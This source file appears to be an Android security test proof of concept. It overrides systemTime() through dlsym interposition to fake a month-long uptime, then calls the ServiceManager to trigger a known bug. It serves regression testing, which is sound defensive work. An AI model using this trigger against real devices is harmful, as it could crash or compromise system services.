/**
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/IServiceManager.h>
#include <dlfcn.h>
#include <utils/SystemClock.h>
#include <utils/Timers.h>
#include "../includes/common.h"

bool isInitialized = false;
bool isTestInProgress = false;
int countRetry = 0;
const int kMaxRetry = 16;
static nsecs_t (*realSystemTime)(int) = nullptr;

void init() {
    realSystemTime = (nsecs_t (*)(int))dlsym(RTLD_NEXT, "systemTime");
    if (!realSystemTime) {
        return;
    }
    isInitialized = true;
}

nsecs_t systemTime(int clock) {
    if (!isInitialized) {
        init();
    }

    if (isTestInProgress) {
        // Since the bug can be reproduced only when the device has been
        // up for about a month, which is not feasible in CTS environment,
        // we have overloaded systemTime() method and are returning a value
        // which mimics such condition
        if (countRetry < kMaxRetry) {
            ++countRetry;
            return 1e16;
        }
        _exit (EXIT_SUCCESS);
    }

    // If test is not in progress, we don't want to hinder with
    // other calls
    return realSystemTime(clock);
}

int main() {
    android::sp < android::IServiceManager > serviceManager =
            android::defaultServiceManager();
    FAIL_CHECK(serviceManager);

    android::uptimeMillis();
    isTestInProgress = true;
    serviceManager->getService(android::String16("CVE-2019-0919"));
    isTestInProgress = false;

    return EXIT_SUCCESS;
}